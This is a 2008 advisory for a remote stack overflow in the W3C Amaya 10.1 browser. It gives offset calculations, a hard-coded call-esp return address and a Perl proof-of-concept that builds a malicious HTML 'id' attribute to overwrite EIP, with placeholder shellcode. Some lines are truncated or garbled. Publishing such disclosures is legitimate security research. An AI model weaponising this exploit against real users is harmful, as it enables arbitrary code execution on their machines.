Amaya (id) Remote Stack Overflow Vulnerability

Type securityvulns
Reporter Securityvulns
Modified 2008-11-25T00:00:00


W3C Amaya 10.1 Web Browser

Amaya (id) Remote Stack Overflow Vulnerability

Written and discovered by:

r0ut3r (writ3r [at] /



Shellcode notes:

The application fails to correctly process certain bytes:

0x9c becomes 0x9cc2

Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb).

After reviewing the source code, the below function modifies the


Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)

The max value which can be used is 0x1fffff <-- Thanks Luigi!


The "id" variable of a tag contains a buffer overflow:

<div id=" 93*'A/' ">r0ut3r</div>

The application will not overflow with normal alphanumeric characters.

To fill the buffer I had to use "A/" repeated 91 times. Therefore buffer length is:

91 * 2 = 182 + 4

[junk] + [eip] + [shellcode]

182 + 4 + sizeof(shellcode)

ESP points to data after EIP.

"id" variable Proof of concept:


use warnings; use strict;

my $shellcode = 'C' x 350;

0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)

my $data = '<div id="' . 'A/' x 91 . "\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode) $shellcode . '">test</div>'; print $data;